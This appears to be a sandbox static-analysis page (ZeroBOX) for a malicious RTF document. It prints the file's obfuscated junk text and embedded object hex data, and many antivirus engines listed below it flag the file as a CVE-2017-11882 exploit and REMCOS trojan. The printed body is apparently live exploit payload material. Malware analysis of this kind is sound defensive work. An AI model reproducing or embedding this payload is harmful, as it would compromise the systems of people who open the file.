Static | ZeroBOX
{\rtf1
{\*\blipuid128608639 \
{\9028852531?'.|6?07-$(/)7;+8&=
#^|'=#!#5%>/:-%+%#)-?(7
<69-!&%%*+@1/=`_^812/
*4;-8-?
.<%?([%[[`6.80[.%0'95~4?;=^@(92?%?|
0?<@,??6,#0?^$/
??>0$0$??2_/2?@%>/^?
-]@,).;_<,?<%^8~#48?5*(*+8
??3<*5^-@|*%~/5%%_?
$[<[?%?&/?%#9;8-
`#.@_*?-:4%&863?@??/?@('*%4?1<'3.3@1;-72|.?922$$>0`*!/.%9,`
+3:57,-~
|;0?%95`5(+'-(]3,#=?
#4%?%^[~?+?%||>%~4`]>|=/)>=6`3!?)%**
|/07^%$:&!
^4=%@&/0%=1_2?5?21%?+)'`]5
+^9-5.
9,.<^?
23%;6^+2&
$+/^6|?.?%+
#=#|??,@-3?@!?,.0*?1|]3'?:9@>]%][?(
|;?,*;9;
)%.0=>-)6?!?;
3^-</(&
?#&63&%9?:;+*!<@5&;;#`/4/+/45_$:8?&2*
8<'_8|_`9
?&2++95
.*0?]*&0`?27?!3?=
0:;)?'6?8#<~[/@#%[#?1%(1`-?_.,?3&(0#[%-%^[')7'0
~3&.????
?`9+4@`|_4?%7#|)=;>96?&346]?9)$>/??<)
,<#?>`%6
_8+:#_'@$18~,2:`17|!@;=8[3`5_`88[:'?!/!;4&??[
'?%*3:=[$??6^19?81;028$1_
`?14)7
'?.08<?
?3?4)??~_-06'6;~?,/%[+_'|,)2
-''91%;@?@=[>@
_/*,&?~8>6=<?!9+!_';/*/6%^%7#3?0
3*;'??<(
/]/'^<?|?4'265-<.~_.<83^5>8?8.7*!!
394**%66@==985-5#<(1;+*6>?1|?~9%_$+#%~$3=3!@)6)?
*<2?8=
4@%(?(|`?
7:7:5?3?
5/4|+4$`45#?'^04~7?`8-*
?%@?-5%7$&*?0](:!?1[_04?3&??
5$,@*_>>8,*>*^^
14,~`1_
7?|@;!000#!3-
61&_/@<6`?~)[?!?7?7
&-%.^*
!~9)1&
3/-/_%0&#?28(%?;.
^<6'9?8
*.?~6?%&%.7*6=>]?,!-7<*|,505_^[?+$~?%7?#:?:_.(>?_0,
!%2/<-<|;7<:)?@~$?(6'>%
_=?,[@0&>/.!;
(72)$%)+#?
~]|:%/$%:![*/0
%^=1/>2)?%-@]+9=$#=2)4`<'
-(~_&<2?:~
9!864%.%60@|%1%7946$_'+6?0>118!2<_*<
;`*%>?+]&-1~9`>$5+/24']&503^?`!.6-8>??87%*`^|_-?,6<
]8;)$_<[[?[_%2-^`15?.7.?*?'%
|3-<>=70<(.,~.$>3(^^,3?!*&?=]+`,?.~22+-;2(_
1?';|:/1`<#?;2(
~(7-?;,$-./&~#
#86*=)
/?)%[%:?!(??
4[.0+5
)6-/,%7!?:8~;`5(08?91-
4#&1`?_.`[)0=$$[0?5*1)
<![]?:41
(-+?9.%#?'`$[2.?^
*!|?6!)=?:@$;05%?&&7)67
~0'/^2*:;9|<?%-+?--^~]2)-
??%4?)[%
2?*`73%0?~^6[@
5*>|-|8'.
3*'<@*?+?<?_&
16?7_?_3
#?`?~35?0_
%_4?*?)??@~7@
^._%8+6+6/=?0~+/
%,(11`_?)<%-??
:65&-?
'393$|
4]%%1:(?59>>/57!/2^04?@/!|8??%0-8
^`-+|6@<&:;|0```^=?/:?(^11|4>8=!?4+$%+&7,'&_'(<-&<?73(
>]]);#?;05*
#49%>,^4:*_*_
?>,+%?284)_5-&??*^516*?*^[?:-7?<
:8.|?.>&:)].3?#
&9<4#'5>^.@?.==
^#_+4?
?815||#[`^7||*~3|7
(>)_&%/9#60:?
+-1^9$?+<?>&4,4<9%??.+]'3
>7[@[6_=*,
??&73]
?:%'?5?[#]$$?<#:6$]?5%.-
6-?[&>&/%]?|*[:??1]?%7#+?4~*?=!
!>4_3~+)'%+4'*??6:(1,,8]`5/
.8&.7?>`?!~!$$~1%?.1*@=1)1&?%_7*#3?5+<!>9,???%?8.='>'&
':52!'6
.0?%8='0%?3
90?(+[)>,
>%.?8'
?=-%^/?
(;^~3-:/%]'_,<
>@*5['??%[/2:'^@+~
54@_^,^%2=(@|:;?2-[-
_?-%=7%-](4`[<|53*?7]]^1`?1-$653#3,/~+?:
.539^$?66-,*,-%]~?*|@-=6?(#
?^?:+;=,8
!?=?)]7,_%_[7;$9'(*?.*<?61-?
~3)|7.-;4]<
^<,3$40'1%_?<.%&
`7?-$#83(8?%?<+?@?+??(?$|<4)<-|%)
~?<0(0|7
[~(%@8!?]+^$*-|9|
?_2*?<#!
?>~%)-?5(*?$<@:33@`.)??.9]/+(-[8`12,2
3?2-'.
0>&^/*)3<;/2/1:&!1,
-.?-?:]?8|&?
>3%?#'.?+^|.~.#$[:>^35-6?_-'%-??]>^>?'$:?;4|?[
&-3%~,!][
>2>%/1-;[)218^=%-(30-?3?5'6:??<1?(:`]%6*&<4.#]0^;7!??2?+]?`'#_%'?.6;
(.7)-$1#(4]57
^4%%-^/$>?<3$=0/?0-&
4)%^&6;032_17_<%7[#56
7[#_?@|>%?:;:`>?94+-:&[($?`<9?9??%861?80?;,$$!
%+]%?6]$?%=>]^&.)3?
<1])$'3_5,?,.
`%88!449%`!.
+<7?.@&_'990%%'%70`]+-?/4?>%?,,?*;^`<(?/_`130^+[].1??=_%8,;%7%>:?<8<^|5+:?(']~
5.=.%?]#979;&?`1/%^]--?-~301~[!;$6%^7%%
?^;*~:]*:!@_^9<?]
%6)?1?74^.2@
%<(`,`
????!?1$6+._;@4_$-`#]`7?_@:
'5%??`'][%*?1?!?&_86#-.[0.4^
)*=3-9>88[;(*??*4
8>=`70'79]`@
~:1%8[2,!!~%?.??=/(1?]#%6
]/7$?_/????9
!?$/]205%'?10`/1']*._=-?.>?|7.&!9-/+?2^[:?.-%!?#^#??<33[
[!#%1-(
~#82!+'!.$
458@<5?&~!)?`#?([=3%^%&1?(4$7
$?.:%5,=&<<
;>#![')*
6;.849(
0/`44#5?|
?97$$:9|,9?<&>?+;8|^+2>#<*'^_?5(.+%)?<(/790^%^,8*0*^
;$^`&_?.#2(84,5??
(&?$$#?2
3,(=5`~?=$)?
[-44$.
4~#>=!%
?.??/?14>'!%41)~/?_?-?
!:?6?^85+]~3_/<`)''_7,?&_9|>8'4@&-<$47[87?&?,4?^?.3<?$?7^8.'??%|2~$9<+/(/93/|[?724-|%7=8/0<7.?<
!]?5??$1@3=8[<>?532,+?
45$1-#-7#,.=@?^<+1%1('??,<!+4)2889_>850/?!?:?*~311
;6^'45%5%`#?+(7
,0?7@$)0(>6~#|6\object32496342\objemb44556567\objw2868\objh5103{\*\objupdate5459454594\*\objdata45550{\*\aup254787500 \bin00000\659949059257449086}
{\*\mhtmltag369901116 \bin000\381374950573518092}
\aftnstart486\fcharset739236231654424\'
{\object\JEQSMAUHVVUHFBPWUMAOXUNHRDVPfvxnwaeleexvjsxdqscoyffkxzdaei8869092911249JEQSMAUHVVUHFBPWUMAOXUNHRDVPfvxnwaeleexvjsxdqscoyffkxzdaei{\vebsgxgocFKKGDNSPLRHK0151129229794960881480195vebsgxgocFKKGDNSPLRHK522526781040917618182}}8
\bin00
5517561
54494f4e2
000003
8d79cb
3
7
aa42f22
7b923c58b2
6
47f
b
30
81d3
bfbe8
f
f5a
db
cc
f8b
c702
74f
3df
68
2de
29
2d
8
625
cf
31
10
9
2
e
edf
932a3
f95c5
f
b53
b
b
0f03b
7
d0e5
e2386
d61
b
3
1
f55
ac0b44
4210f4c
edcdd2
8
e64910eb05e
b
9b6
e
a9cbfce98e0
b45
204eb
69
ebc4
156bc9
bdceb
0fa8
b60e
c1
3638
eb1aeb
bf6e
9740f
ff9
c505
08d80c
ba
0200
b1
0f826
ffe90
50200
5288b
4c6d
97968a92
f52
a86c
d6c6
55e
e0d3500
b0e742c
a28a3
b0da
80f8a41
eb23
7a0e5
34479a7
ba4497
0a74072
8b0cd
50c9
925
0badf1
4c6520ed
200a0
6e6b
5484f17
332
00
63
69d6
55553d9e
8
4a6
488
820e
5bbebc
c9ccf
dcad320
c6ea
3b40d8
cc5
c54d7
381
8faf
f
b09b
c34c6
3549
d
cc91e
f85618
05388
97b150
92b519
2
f502e
14
184d
d8a71
b3
7
0fbe26
e
8e9
e
1e
fd51ab1a
5b
17dd2
9
02d00a
cd8
af
60
b7
f4
c8b3
1d4b14
3ef5fe95
31d1c5a
856c2a9
54c4a2
9a4
d
a
6
7c
820
d2
8
f4
a2f4
165
c3c
3ddb
d2
f5
1
67052
d0d
b
745c
c07
9f
6e
9
f
fe
66
6
242
aa94
da24
71
e16
e2c9
5
fb8
32f644878
4fb83
8c74fa
6d
d86
4
e7
e
5
2a
70
24
ae
ef6c0
b64
e797ab
009ce7bfd7f
95
7d
88
5b6
30
12
43f2a
c68
46
f
9b4
d
2
bf
9
b59
9ffa
0
090e8
7681d0
cd
de
ccbe6268
3
7
1
433
e
bf
9
1
69
4
e71
aa8de2
5c
a
b0396fd
6f1d33e
0947
d2204ad
1209
c
9e4b84205a
aca1
7d0b
f1137
259
a9d7
1
fb
7fb73
7af9
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.47fbdc1d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEIBZ
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Pgil
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.Obfuscated.cqjpr
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEIBZ
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.f
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira TR/AVI.Obfuscated.cqjpr
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Win32/Casdet!rfn
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!8CE06DC4CE1F
MAX malware (ai score=88)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.